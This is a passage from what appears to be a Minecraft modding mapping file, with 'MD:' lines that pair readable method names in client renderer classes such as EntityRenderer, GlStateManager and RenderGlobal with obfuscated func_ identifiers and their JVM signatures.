()Ljava/lang/String; +MD: net/minecraft/client/renderer/EntityRenderer$3/call ()Ljava/lang/Object; net/minecraft/client/renderer/EntityRenderer$3/call ()Ljava/lang/Object; +MD: net/minecraft/client/renderer/EntityRenderer$4/call ()Ljava/lang/String; net/minecraft/client/renderer/EntityRenderer$4/call ()Ljava/lang/String; +MD: net/minecraft/client/renderer/EntityRenderer$4/call ()Ljava/lang/Object; net/minecraft/client/renderer/EntityRenderer$4/call ()Ljava/lang/Object; +MD: net/minecraft/client/renderer/EntityRenderer/isShaderActive ()Z net/minecraft/client/renderer/EntityRenderer/func_147702_a ()Z +MD: net/minecraft/client/renderer/EntityRenderer/getMouseOver (F)V net/minecraft/client/renderer/EntityRenderer/func_78473_a (F)V +MD: net/minecraft/client/renderer/EntityRenderer/setFogColorBuffer (FFFF)Ljava/nio/FloatBuffer; net/minecraft/client/renderer/EntityRenderer/func_78469_a (FFFF)Ljava/nio/FloatBuffer; +MD: net/minecraft/client/renderer/EntityRenderer/setupCameraTransform (FI)V net/minecraft/client/renderer/EntityRenderer/func_78479_a (FI)V +MD: net/minecraft/client/renderer/EntityRenderer/updateCameraAndRender (FJ)V net/minecraft/client/renderer/EntityRenderer/func_181560_a (FJ)V +MD: net/minecraft/client/renderer/EntityRenderer/getFOVModifier (FZ)F net/minecraft/client/renderer/EntityRenderer/func_78481_a (FZ)F +MD: net/minecraft/client/renderer/EntityRenderer/setupFog (IF)V net/minecraft/client/renderer/EntityRenderer/func_78468_a (IF)V +MD: net/minecraft/client/renderer/EntityRenderer/renderWorldPass (IFJ)V net/minecraft/client/renderer/EntityRenderer/func_175068_a (IFJ)V +MD: net/minecraft/client/renderer/EntityRenderer/updateShaderGroupSize (II)V net/minecraft/client/renderer/EntityRenderer/func_147704_a (II)V +MD: net/minecraft/client/renderer/EntityRenderer/access$000 (Lnet/minecraft/client/renderer/EntityRenderer;)Lnet/minecraft/client/Minecraft; net/minecraft/client/renderer/EntityRenderer/access$000 (Lnet/minecraft/client/renderer/EntityRenderer;)Lnet/minecraft/client/Minecraft; +MD: net/minecraft/client/renderer/EntityRenderer/renderCloudsCheck (Lnet/minecraft/client/renderer/RenderGlobal;FI)V net/minecraft/client/renderer/EntityRenderer/func_180437_a (Lnet/minecraft/client/renderer/RenderGlobal;FI)V +MD: net/minecraft/client/renderer/EntityRenderer/onResourceManagerReload (Lnet/minecraft/client/resources/IResourceManager;)V net/minecraft/client/renderer/EntityRenderer/func_110549_a (Lnet/minecraft/client/resources/IResourceManager;)V +MD: net/minecraft/client/renderer/EntityRenderer/loadShader (Lnet/minecraft/util/ResourceLocation;)V net/minecraft/client/renderer/EntityRenderer/func_175069_a (Lnet/minecraft/util/ResourceLocation;)V +MD: net/minecraft/client/renderer/EntityRenderer/loadEntityShader (Lnet/minecraft/entity/Entity;)V net/minecraft/client/renderer/EntityRenderer/func_175066_a (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/renderer/EntityRenderer/getNightVisionBrightness (Lnet/minecraft/entity/EntityLivingBase;F)F net/minecraft/client/renderer/EntityRenderer/func_180438_a (Lnet/minecraft/entity/EntityLivingBase;F)F +MD: net/minecraft/client/renderer/EntityRenderer/stopUseShader ()V net/minecraft/client/renderer/EntityRenderer/func_181022_b ()V +MD: net/minecraft/client/renderer/EntityRenderer/renderStreamIndicator (F)V net/minecraft/client/renderer/EntityRenderer/func_152430_c (F)V +MD: net/minecraft/client/renderer/EntityRenderer/renderHand (FI)V net/minecraft/client/renderer/EntityRenderer/func_78476_b (FI)V +MD: net/minecraft/client/renderer/EntityRenderer/renderWorld (FJ)V net/minecraft/client/renderer/EntityRenderer/func_78471_a (FJ)V +MD: net/minecraft/client/renderer/EntityRenderer/switchUseShader ()V net/minecraft/client/renderer/EntityRenderer/func_175071_c ()V +MD: net/minecraft/client/renderer/EntityRenderer/renderRainSnow (F)V net/minecraft/client/renderer/EntityRenderer/func_78474_d (F)V +MD: net/minecraft/client/renderer/EntityRenderer/activateNextShader ()V net/minecraft/client/renderer/EntityRenderer/func_147705_c ()V +MD: net/minecraft/client/renderer/EntityRenderer/hurtCameraEffect (F)V net/minecraft/client/renderer/EntityRenderer/func_78482_e (F)V +MD: net/minecraft/client/renderer/EntityRenderer/updateRenderer ()V net/minecraft/client/renderer/EntityRenderer/func_78464_a ()V +MD: net/minecraft/client/renderer/EntityRenderer/setupViewBobbing (F)V net/minecraft/client/renderer/EntityRenderer/func_78475_f (F)V +MD: net/minecraft/client/renderer/EntityRenderer/getShaderGroup ()Lnet/minecraft/client/shader/ShaderGroup; net/minecraft/client/renderer/EntityRenderer/func_147706_e ()Lnet/minecraft/client/shader/ShaderGroup; +MD: net/minecraft/client/renderer/EntityRenderer/orientCamera (F)V net/minecraft/client/renderer/EntityRenderer/func_78467_g (F)V +MD: net/minecraft/client/renderer/EntityRenderer/updateLightmap (F)V net/minecraft/client/renderer/EntityRenderer/func_78472_g (F)V +MD: net/minecraft/client/renderer/EntityRenderer/disableLightmap ()V net/minecraft/client/renderer/EntityRenderer/func_175072_h ()V +MD: net/minecraft/client/renderer/EntityRenderer/renderWorldDirections (F)V net/minecraft/client/renderer/EntityRenderer/func_175067_i (F)V +MD: net/minecraft/client/renderer/EntityRenderer/enableLightmap ()V net/minecraft/client/renderer/EntityRenderer/func_180436_i ()V +MD: net/minecraft/client/renderer/EntityRenderer/updateFogColor (F)V net/minecraft/client/renderer/EntityRenderer/func_78466_h (F)V +MD: net/minecraft/client/renderer/EntityRenderer/setupOverlayRendering ()V net/minecraft/client/renderer/EntityRenderer/func_78478_c ()V +MD: net/minecraft/client/renderer/EntityRenderer/getMapItemRenderer ()Lnet/minecraft/client/gui/MapItemRenderer; net/minecraft/client/renderer/EntityRenderer/func_147701_i ()Lnet/minecraft/client/gui/MapItemRenderer; +MD: net/minecraft/client/renderer/EntityRenderer/updateFovModifierHand ()V net/minecraft/client/renderer/EntityRenderer/func_78477_e ()V +MD: net/minecraft/client/renderer/EntityRenderer/updateTorchFlicker ()V net/minecraft/client/renderer/EntityRenderer/func_78470_f ()V +MD: net/minecraft/client/renderer/EntityRenderer/isDrawBlockOutline ()Z net/minecraft/client/renderer/EntityRenderer/func_175070_n ()Z +MD: net/minecraft/client/renderer/EntityRenderer/addRainParticles ()V net/minecraft/client/renderer/EntityRenderer/func_78484_h ()V +MD: net/minecraft/client/renderer/GlStateManager$BooleanState/setDisabled ()V net/minecraft/client/renderer/GlStateManager$BooleanState/func_179198_a ()V +MD: net/minecraft/client/renderer/GlStateManager$BooleanState/setState (Z)V net/minecraft/client/renderer/GlStateManager$BooleanState/func_179199_a (Z)V +MD: net/minecraft/client/renderer/GlStateManager$BooleanState/setEnabled ()V net/minecraft/client/renderer/GlStateManager$BooleanState/func_179200_b ()V +MD: net/minecraft/client/renderer/GlStateManager$TexGen/values ()[Lnet/minecraft/client/renderer/GlStateManager$TexGen; net/minecraft/client/renderer/GlStateManager$TexGen/values ()[Lnet/minecraft/client/renderer/GlStateManager$TexGen; +MD: net/minecraft/client/renderer/GlStateManager/disableNormalize ()V net/minecraft/client/renderer/GlStateManager/func_179133_A ()V +MD: net/minecraft/client/renderer/GlStateManager/enableRescaleNormal ()V net/minecraft/client/renderer/GlStateManager/func_179091_B ()V +MD: net/minecraft/client/renderer/GlStateManager/disableRescaleNormal ()V net/minecraft/client/renderer/GlStateManager/func_179101_C ()V +MD: net/minecraft/client/renderer/GlStateManager/loadIdentity ()V net/minecraft/client/renderer/GlStateManager/func_179096_D ()V +MD: net/minecraft/client/renderer/GlStateManager/pushMatrix ()V net/minecraft/client/renderer/GlStateManager/func_179094_E ()V +MD: net/minecraft/client/renderer/GlStateManager/popMatrix ()V net/minecraft/client/renderer/GlStateManager/func_179121_F ()V +MD: net/minecraft/client/renderer/GlStateManager/resetColor ()V net/minecraft/client/renderer/GlStateManager/func_179117_G ()V +MD: net/minecraft/client/renderer/GlStateManager/pushAttrib ()V net/minecraft/client/renderer/GlStateManager/func_179123_a ()V +MD: net/minecraft/client/renderer/GlStateManager/clearDepth (D)V net/minecraft/client/renderer/GlStateManager/func_179151_a (D)V +MD: net/minecraft/client/renderer/GlStateManager/scale (DDD)V net/minecraft/client/renderer/GlStateManager/func_179139_a (DDD)V +MD: net/minecraft/client/renderer/GlStateManager/ortho (DDDDDD)V net/minecraft/client/renderer/GlStateManager/func_179130_a (DDDDDD)V +MD: net/minecraft/client/renderer/GlStateManager/setFogDensity (F)V net/minecraft/client/renderer/GlStateManager/func_179095_a (F)V +MD: net/minecraft/client/renderer/GlStateManager/doPolygonOffset (FF)V net/minecraft/client/renderer/GlStateManager/func_179136_a (FF)V +MD: net/minecraft/client/renderer/GlStateManager/scale (FFF)V net/minecraft/client/renderer/GlStateManager/func_179152_a (FFF)V +MD: net/minecraft/client/renderer/GlStateManager/clearColor (FFFF)V net/minecraft/client/renderer/GlStateManager/func_179082_a (FFFF)V +MD: net/minecraft/client/renderer/GlStateManager/enableLight (I)V net/minecraft/client/renderer/GlStateManager/func_179085_a (I)V +MD: net/minecraft/client/renderer/GlStateManager/alphaFunc (IF)V net/minecraft/client/renderer/GlStateManager/func_179092_a (IF)V +MD: net/minecraft/client/renderer/GlStateManager/colorMaterial (II)V net/minecraft/client/renderer/GlStateManager/func_179104_a (II)V +MD: net/minecraft/client/renderer/GlStateManager/tryBlendFuncSeparate (IIII)V net/minecraft/client/renderer/GlStateManager/func_179120_a (IIII)V +MD: net/minecraft/client/renderer/GlStateManager/getFloat (ILjava/nio/FloatBuffer;)V net/minecraft/client/renderer/GlStateManager/func_179111_a (ILjava/nio/FloatBuffer;)V +MD: net/minecraft/client/renderer/GlStateManager/enableTexGenCoord (Lnet/minecraft/client/renderer/GlStateManager$TexGen;)V net/minecraft/client/renderer/GlStateManager/func_179087_a (Lnet/minecraft/client/renderer/GlStateManager$TexGen;)V +MD: net/minecraft/client/renderer/GlStateManager/texGen (Lnet/minecraft/client/renderer/GlStateManager$TexGen;I)V net/minecraft/client/renderer/GlStateManager/func_179149_a (Lnet/minecraft/client/renderer/GlStateManager$TexGen;I)V +MD: net/minecraft/client/renderer/GlStateManager/texGen (Lnet/minecraft/client/renderer/GlStateManager$TexGen;ILjava/nio/FloatBuffer;)V net/minecraft/client/renderer/GlStateManager/func_179105_a (Lnet/minecraft/client/renderer/GlStateManager$TexGen;ILjava/nio/FloatBuffer;)V +MD: net/minecraft/client/renderer/GlStateManager/multMatrix (Ljava/nio/FloatBuffer;)V net/minecraft/client/renderer/GlStateManager/func_179110_a (Ljava/nio/FloatBuffer;)V +MD: net/minecraft/client/renderer/GlStateManager/depthMask (Z)V net/minecraft/client/renderer/GlStateManager/func_179132_a (Z)V +MD: net/minecraft/client/renderer/GlStateManager/colorMask (ZZZZ)V net/minecraft/client/renderer/GlStateManager/func_179135_a (ZZZZ)V +MD: net/minecraft/client/renderer/GlStateManager/popAttrib ()V net/minecraft/client/renderer/GlStateManager/func_179099_b ()V +MD: net/minecraft/client/renderer/GlStateManager/translate (DDD)V net/minecraft/client/renderer/GlStateManager/func_179137_b (DDD)V +MD: net/minecraft/client/renderer/GlStateManager/setFogStart (F)V net/minecraft/client/renderer/GlStateManager/func_179102_b (F)V +MD: net/minecraft/client/renderer/GlStateManager/translate (FFF)V net/minecraft/client/renderer/GlStateManager/func_179109_b (FFF)V +MD: net/minecraft/client/renderer/GlStateManager/rotate (FFFF)V net/minecraft/client/renderer/GlStateManager/func_179114_b (FFFF)V +MD: net/minecraft/client/renderer/GlStateManager/disableLight (I)V net/minecraft/client/renderer/GlStateManager/func_179122_b (I)V +MD: net/minecraft/client/renderer/GlStateManager/blendFunc (II)V net/minecraft/client/renderer/GlStateManager/func_179112_b (II)V +MD: net/minecraft/client/renderer/GlStateManager/viewport (IIII)V net/minecraft/client/renderer/GlStateManager/func_179083_b (IIII)V +MD: net/minecraft/client/renderer/GlStateManager/disableTexGenCoord (Lnet/minecraft/client/renderer/GlStateManager$TexGen;)V net/minecraft/client/renderer/GlStateManager/func_179100_b (Lnet/minecraft/client/renderer/GlStateManager$TexGen;)V +MD: net/minecraft/client/renderer/GlStateManager/disableAlpha ()V net/minecraft/client/renderer/GlStateManager/func_179118_c ()V +MD: net/minecraft/client/renderer/GlStateManager/setFogEnd (F)V net/minecraft/client/renderer/GlStateManager/func_179153_c (F)V +MD: net/minecraft/client/renderer/GlStateManager/color (FFF)V net/minecraft/client/renderer/GlStateManager/func_179124_c (FFF)V +MD: net/minecraft/client/renderer/GlStateManager/color (FFFF)V net/minecraft/client/renderer/GlStateManager/func_179131_c (FFFF)V +MD: net/minecraft/client/renderer/GlStateManager/depthFunc (I)V net/minecraft/client/renderer/GlStateManager/func_179143_c (I)V +MD: net/minecraft/client/renderer/GlStateManager/texGenCoord (Lnet/minecraft/client/renderer/GlStateManager$TexGen;)Lnet/minecraft/client/renderer/GlStateManager$TexGenCoord; net/minecraft/client/renderer/GlStateManager/func_179125_c (Lnet/minecraft/client/renderer/GlStateManager$TexGen;)Lnet/minecraft/client/renderer/GlStateManager$TexGenCoord; +MD: net/minecraft/client/renderer/GlStateManager/enableAlpha ()V net/minecraft/client/renderer/GlStateManager/func_179141_d ()V +MD: net/minecraft/client/renderer/GlStateManager/setFog (I)V net/minecraft/client/renderer/GlStateManager/func_179093_d (I)V +MD: net/minecraft/client/renderer/GlStateManager/enableLighting ()V net/minecraft/client/renderer/GlStateManager/func_179145_e ()V +MD: net/minecraft/client/renderer/GlStateManager/cullFace (I)V net/minecraft/client/renderer/GlStateManager/func_179107_e (I)V +MD: net/minecraft/client/renderer/GlStateManager/disableLighting ()V net/minecraft/client/renderer/GlStateManager/func_179140_f ()V +MD: net/minecraft/client/renderer/GlStateManager/colorLogicOp (I)V net/minecraft/client/renderer/GlStateManager/func_179116_f (I)V +MD: net/minecraft/client/renderer/GlStateManager/enableColorMaterial ()V net/minecraft/client/renderer/GlStateManager/func_179142_g ()V +MD: net/minecraft/client/renderer/GlStateManager/setActiveTexture (I)V net/minecraft/client/renderer/GlStateManager/func_179138_g (I)V +MD: net/minecraft/client/renderer/GlStateManager/disableColorMaterial ()V net/minecraft/client/renderer/GlStateManager/func_179119_h ()V +MD: net/minecraft/client/renderer/GlStateManager/deleteTexture (I)V net/minecraft/client/renderer/GlStateManager/func_179150_h (I)V +MD: net/minecraft/client/renderer/GlStateManager/disableDepth ()V net/minecraft/client/renderer/GlStateManager/func_179097_i ()V +MD: net/minecraft/client/renderer/GlStateManager/bindTexture (I)V net/minecraft/client/renderer/GlStateManager/func_179144_i (I)V +MD: net/minecraft/client/renderer/GlStateManager/enableDepth ()V net/minecraft/client/renderer/GlStateManager/func_179126_j ()V +MD: net/minecraft/client/renderer/GlStateManager/shadeModel (I)V net/minecraft/client/renderer/GlStateManager/func_179103_j (I)V +MD: net/minecraft/client/renderer/GlStateManager/disableBlend ()V net/minecraft/client/renderer/GlStateManager/func_179084_k ()V +MD: net/minecraft/client/renderer/GlStateManager/enableBlend ()V net/minecraft/client/renderer/GlStateManager/func_179147_l ()V +MD: net/minecraft/client/renderer/GlStateManager/enableFog ()V net/minecraft/client/renderer/GlStateManager/func_179127_m ()V +MD: net/minecraft/client/renderer/GlStateManager/clear (I)V net/minecraft/client/renderer/GlStateManager/func_179086_m (I)V +MD: net/minecraft/client/renderer/GlStateManager/disableFog ()V net/minecraft/client/renderer/GlStateManager/func_179106_n ()V +MD: net/minecraft/client/renderer/GlStateManager/matrixMode (I)V net/minecraft/client/renderer/GlStateManager/func_179128_n (I)V +MD: net/minecraft/client/renderer/GlStateManager/enableCull ()V net/minecraft/client/renderer/GlStateManager/func_179089_o ()V +MD: net/minecraft/client/renderer/GlStateManager/callList (I)V net/minecraft/client/renderer/GlStateManager/func_179148_o (I)V +MD: net/minecraft/client/renderer/GlStateManager/disableCull ()V net/minecraft/client/renderer/GlStateManager/func_179129_p ()V +MD: net/minecraft/client/renderer/GlStateManager/enablePolygonOffset ()V net/minecraft/client/renderer/GlStateManager/func_179088_q ()V +MD: net/minecraft/client/renderer/GlStateManager/disablePolygonOffset ()V net/minecraft/client/renderer/GlStateManager/func_179113_r ()V +MD: net/minecraft/client/renderer/GlStateManager/enableColorLogic ()V net/minecraft/client/renderer/GlStateManager/func_179115_u ()V +MD: net/minecraft/client/renderer/GlStateManager/disableColorLogic ()V net/minecraft/client/renderer/GlStateManager/func_179134_v ()V +MD: net/minecraft/client/renderer/GlStateManager/enableTexture2D ()V net/minecraft/client/renderer/GlStateManager/func_179098_w ()V +MD: net/minecraft/client/renderer/GlStateManager/disableTexture2D ()V net/minecraft/client/renderer/GlStateManager/func_179090_x ()V +MD: net/minecraft/client/renderer/GlStateManager/generateTexture ()I net/minecraft/client/renderer/GlStateManager/func_179146_y ()I +MD: net/minecraft/client/renderer/GlStateManager/enableNormalize ()V net/minecraft/client/renderer/GlStateManager/func_179108_z ()V +MD: net/minecraft/client/renderer/IImageBuffer/skinAvailable ()V net/minecraft/client/renderer/IImageBuffer/func_152634_a ()V +MD: net/minecraft/client/renderer/IImageBuffer/parseUserSkin (Ljava/awt/image/BufferedImage;)Ljava/awt/image/BufferedImage; net/minecraft/client/renderer/IImageBuffer/func_78432_a (Ljava/awt/image/BufferedImage;)Ljava/awt/image/BufferedImage; +MD: net/minecraft/client/renderer/ItemRenderer/updateEquippedItem ()V net/minecraft/client/renderer/ItemRenderer/func_78441_a ()V +MD: net/minecraft/client/renderer/ItemRenderer/renderItemInFirstPerson (F)V net/minecraft/client/renderer/ItemRenderer/func_78440_a (F)V +MD: net/minecraft/client/renderer/ItemRenderer/rotateArroundXAndY (FF)V net/minecraft/client/renderer/ItemRenderer/func_178101_a (FF)V +MD: net/minecraft/client/renderer/ItemRenderer/doBowTransformations (FLnet/minecraft/client/entity/AbstractClientPlayer;)V net/minecraft/client/renderer/ItemRenderer/func_178098_a (FLnet/minecraft/client/entity/AbstractClientPlayer;)V +MD: net/minecraft/client/renderer/ItemRenderer/renderBlockInHand (FLnet/minecraft/client/renderer/texture/TextureAtlasSprite;)V net/minecraft/client/renderer/ItemRenderer/func_178108_a (FLnet/minecraft/client/renderer/texture/TextureAtlasSprite;)V +MD: net/minecraft/client/renderer/ItemRenderer/isBlockTranslucent (Lnet/minecraft/block/Block;)Z net/minecraft/client/renderer/ItemRenderer/func_178107_a (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/client/renderer/ItemRenderer/setLightMapFromPlayer (Lnet/minecraft/client/entity/AbstractClientPlayer;)V net/minecraft/client/renderer/ItemRenderer/func_178109_a (Lnet/minecraft/client/entity/AbstractClientPlayer;)V +MD: net/minecraft/client/renderer/ItemRenderer/performDrinking (Lnet/minecraft/client/entity/AbstractClientPlayer;F)V net/minecraft/client/renderer/ItemRenderer/func_178104_a (Lnet/minecraft/client/entity/AbstractClientPlayer;F)V +MD: net/minecraft/client/renderer/ItemRenderer/renderPlayerArm (Lnet/minecraft/client/entity/AbstractClientPlayer;FF)V net/minecraft/client/renderer/ItemRenderer/func_178095_a (Lnet/minecraft/client/entity/AbstractClientPlayer;FF)V +MD: net/minecraft/client/renderer/ItemRenderer/renderItemMap (Lnet/minecraft/client/entity/AbstractClientPlayer;FFF)V net/minecraft/client/renderer/ItemRenderer/func_178097_a (Lnet/minecraft/client/entity/AbstractClientPlayer;FFF)V +MD: net/minecraft/client/renderer/ItemRenderer/rotateWithPlayerRotations (Lnet/minecraft/client/entity/EntityPlayerSP;F)V net/minecraft/client/renderer/ItemRenderer/func_178110_a (Lnet/minecraft/client/entity/EntityPlayerSP;F)V +MD: net/minecraft/client/renderer/ItemRenderer/renderRightArm (Lnet/minecraft/client/renderer/entity/RenderPlayer;)V net/minecraft/client/renderer/ItemRenderer/func_180534_a (Lnet/minecraft/client/renderer/entity/RenderPlayer;)V +MD: net/minecraft/client/renderer/ItemRenderer/renderItem (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType;)V net/minecraft/client/renderer/ItemRenderer/func_178099_a (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType;)V +MD: net/minecraft/client/renderer/ItemRenderer/resetEquippedProgress ()V net/minecraft/client/renderer/ItemRenderer/func_78444_b ()V +MD: net/minecraft/client/renderer/ItemRenderer/renderOverlays (F)V net/minecraft/client/renderer/ItemRenderer/func_78447_b (F)V +MD: net/minecraft/client/renderer/ItemRenderer/transformFirstPersonItem (FF)V net/minecraft/client/renderer/ItemRenderer/func_178096_b (FF)V +MD: net/minecraft/client/renderer/ItemRenderer/renderPlayerArms (Lnet/minecraft/client/entity/AbstractClientPlayer;)V net/minecraft/client/renderer/ItemRenderer/func_178102_b (Lnet/minecraft/client/entity/AbstractClientPlayer;)V +MD: net/minecraft/client/renderer/ItemRenderer/renderLeftArm (Lnet/minecraft/client/renderer/entity/RenderPlayer;)V net/minecraft/client/renderer/ItemRenderer/func_178106_b (Lnet/minecraft/client/renderer/entity/RenderPlayer;)V +MD: net/minecraft/client/renderer/ItemRenderer/resetEquippedProgress2 ()V net/minecraft/client/renderer/ItemRenderer/func_78445_c ()V +MD: net/minecraft/client/renderer/ItemRenderer/getMapAngleFromPitch (F)F net/minecraft/client/renderer/ItemRenderer/func_178100_c (F)F +MD: net/minecraft/client/renderer/ItemRenderer/doBlockTransformations ()V net/minecraft/client/renderer/ItemRenderer/func_178103_d ()V +MD: net/minecraft/client/renderer/ItemRenderer/doItemUsedTransformations (F)V net/minecraft/client/renderer/ItemRenderer/func_178105_d (F)V +MD: net/minecraft/client/renderer/ItemRenderer/renderWaterOverlayTexture (F)V net/minecraft/client/renderer/ItemRenderer/func_78448_c (F)V +MD: net/minecraft/client/renderer/ItemRenderer/renderFireInFirstPerson (F)V net/minecraft/client/renderer/ItemRenderer/func_78442_d (F)V +MD: net/minecraft/client/renderer/ItemModelMesher/getModelManager ()Lnet/minecraft/client/resources/model/ModelManager; net/minecraft/client/renderer/ItemModelMesher/func_178083_a ()Lnet/minecraft/client/resources/model/ModelManager; +MD: net/minecraft/client/renderer/ItemModelMesher/getParticleIcon (Lnet/minecraft/item/Item;)Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; net/minecraft/client/renderer/ItemModelMesher/func_178082_a (Lnet/minecraft/item/Item;)Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; +MD: net/minecraft/client/renderer/ItemModelMesher/getParticleIcon (Lnet/minecraft/item/Item;I)Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; net/minecraft/client/renderer/ItemModelMesher/func_178087_a (Lnet/minecraft/item/Item;I)Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; +MD: net/minecraft/client/renderer/ItemModelMesher/register (Lnet/minecraft/item/Item;ILnet/minecraft/client/resources/model/ModelResourceLocation;)V net/minecraft/client/renderer/ItemModelMesher/func_178086_a (Lnet/minecraft/item/Item;ILnet/minecraft/client/resources/model/ModelResourceLocation;)V +MD: net/minecraft/client/renderer/ItemModelMesher/register (Lnet/minecraft/item/Item;Lnet/minecraft/client/renderer/ItemMeshDefinition;)V net/minecraft/client/renderer/ItemModelMesher/func_178080_a (Lnet/minecraft/item/Item;Lnet/minecraft/client/renderer/ItemMeshDefinition;)V +MD: net/minecraft/client/renderer/ItemModelMesher/getItemModel (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/client/resources/model/IBakedModel; net/minecraft/client/renderer/ItemModelMesher/func_178089_a (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/client/resources/model/IBakedModel; +MD: net/minecraft/client/renderer/ItemModelMesher/rebuildCache ()V net/minecraft/client/renderer/ItemModelMesher/func_178085_b ()V +MD: net/minecraft/client/renderer/ItemModelMesher/getItemModel (Lnet/minecraft/item/Item;I)Lnet/minecraft/client/resources/model/IBakedModel; net/minecraft/client/renderer/ItemModelMesher/func_178088_b (Lnet/minecraft/item/Item;I)Lnet/minecraft/client/resources/model/IBakedModel; +MD: net/minecraft/client/renderer/ItemModelMesher/getMetadata (Lnet/minecraft/item/ItemStack;)I net/minecraft/client/renderer/ItemModelMesher/func_178084_b (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/client/renderer/ItemModelMesher/getIndex (Lnet/minecraft/item/Item;I)I net/minecraft/client/renderer/ItemModelMesher/func_178081_c (Lnet/minecraft/item/Item;I)I +MD: net/minecraft/client/renderer/ItemMeshDefinition/getModelLocation (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/client/resources/model/ModelResourceLocation; net/minecraft/client/renderer/ItemMeshDefinition/func_178113_a (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/client/resources/model/ModelResourceLocation; +MD: net/minecraft/client/renderer/RenderGlobal$1/call ()Ljava/lang/String; net/minecraft/client/renderer/RenderGlobal$1/call ()Ljava/lang/String; +MD: net/minecraft/client/renderer/RenderGlobal$1/call ()Ljava/lang/Object; net/minecraft/client/renderer/RenderGlobal$1/call ()Ljava/lang/Object; +MD: net/minecraft/client/renderer/RenderGlobal/loadRenderers ()V net/minecraft/client/renderer/RenderGlobal/func_72712_a ()V +MD: net/minecraft/client/renderer/RenderGlobal/fixTerrainFrustum (DDD)V net/minecraft/client/renderer/RenderGlobal/func_174984_a (DDD)V +MD: net/minecraft/client/renderer/RenderGlobal/hasCloudFog (DDDF)Z net/minecraft/client/renderer/RenderGlobal/func_72721_a (DDDF)Z +MD: net/minecraft/client/renderer/RenderGlobal/renderSky (FI)V net/minecraft/client/renderer/RenderGlobal/func_174976_a (FI)V +MD: net/minecraft/client/renderer/RenderGlobal/createBindEntityOutlineFbs (II)V net/minecraft/client/renderer/RenderGlobal/func_72720_a (II)V +MD: net/minecraft/client/renderer/RenderGlobal/markBlockRangeForRenderUpdate (IIIIII)V net/minecraft/client/renderer/RenderGlobal/func_147585_a (IIIIII)V +MD: net/minecraft/client/renderer/RenderGlobal/broadcastSound (ILnet/minecraft/util/BlockPos;I)V net/minecraft/client/renderer/RenderGlobal/func_180440_a (ILnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/client/renderer/RenderGlobal/spawnParticle (IZDDDDDD[I)V net/minecraft/client/renderer/RenderGlobal/func_180442_a (IZDDDDDD[I)V +MD: net/minecraft/client/renderer/RenderGlobal/updateChunks (J)V net/minecraft/client/renderer/RenderGlobal/func_174967_a (J)V +MD: net/minecraft/client/renderer/RenderGlobal/renderBlockLayer (Lnet/minecraft/util/EnumWorldBlockLayer;)V net/minecraft/client/renderer/RenderGlobal/func_174982_a (Lnet/minecraft/util/EnumWorldBlockLayer;)V +MD: net/minecraft/client/renderer/RenderGlobal/renderBlockLayer (Lnet/minecraft/util/EnumWorldBlockLayer;DILnet/minecraft/entity/Entity;)I net/minecraft/client/renderer/RenderGlobal/func_174977_a (Lnet/minecraft/util/EnumWorldBlockLayer;DILnet/minecraft/entity/Entity;)I +MD: net/minecraft/client/renderer/RenderGlobal/drawSelectionBoundingBox (Lnet/minecraft/util/AxisAlignedBB;)V net/minecraft/client/renderer/RenderGlobal/func_181561_a (Lnet/minecraft/util/AxisAlignedBB;)V +MD: net/minecraft/client/renderer/RenderGlobal/drawOutlinedBoundingBox (Lnet/minecraft/util/AxisAlignedBB;IIII)V net/minecraft/client/renderer/RenderGlobal/func_181563_a (Lnet/minecraft/util/AxisAlignedBB;IIII)V +MD: net/minecraft/client/renderer/RenderGlobal/setWorldAndLoadRenderers (Lnet/minecraft/client/multiplayer/WorldClient;)V net/minecraft/client/renderer/RenderGlobal/func_72732_a (Lnet/minecraft/client/multiplayer/WorldClient;)V +MD: net/minecraft/client/renderer/RenderGlobal/renderStars (Lnet/minecraft/client/renderer/WorldRenderer;)V net/minecraft/client/renderer/RenderGlobal/func_180444_a (Lnet/minecraft/client/renderer/WorldRenderer;)V +MD: net/minecraft/client/renderer/RenderGlobal/renderSky (Lnet/minecraft/client/renderer/WorldRenderer;FZ)V net/minecraft/client/renderer/RenderGlobal/func_174968_a (Lnet/minecraft/client/renderer/WorldRenderer;FZ)V +MD: net/minecraft/client/renderer/RenderGlobal/drawBlockDamageTexture (Lnet/minecraft/client/renderer/Tessellator;Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;F)V net/minecraft/client/renderer/RenderGlobal/func_174981_a (Lnet/minecraft/client/renderer/Tessellator;Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;F)V +MD: net/minecraft/client/renderer/RenderGlobal/onResourceManagerReload (Lnet/minecraft/client/resources/IResourceManager;)V net/minecraft/client/renderer/RenderGlobal/func_110549_a (Lnet/minecraft/client/resources/IResourceManager;)V +MD: net/minecraft/client/renderer/RenderGlobal/markBlockForUpdate (Lnet/minecraft/util/BlockPos;)V net/minecraft/client/renderer/RenderGlobal/func_174960_a (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/client/renderer/RenderGlobal/isPositionInRenderChunk (Lnet/minecraft/util/BlockPos;Lnet/minecraft/client/renderer/chunk/RenderChunk;)Z net/minecraft/client/renderer/RenderGlobal/func_174983_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/client/renderer/chunk/RenderChunk;)Z +MD: net/minecraft/client/renderer/RenderGlobal/getRenderChunkOffset (Lnet/minecraft/util/BlockPos;Lnet/minecraft/client/renderer/chunk/RenderChunk;Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/client/renderer/chunk/RenderChunk; net/minecraft/client/renderer/RenderGlobal/func_181562_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/client/renderer/chunk/RenderChunk;Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/client/renderer/chunk/RenderChunk; 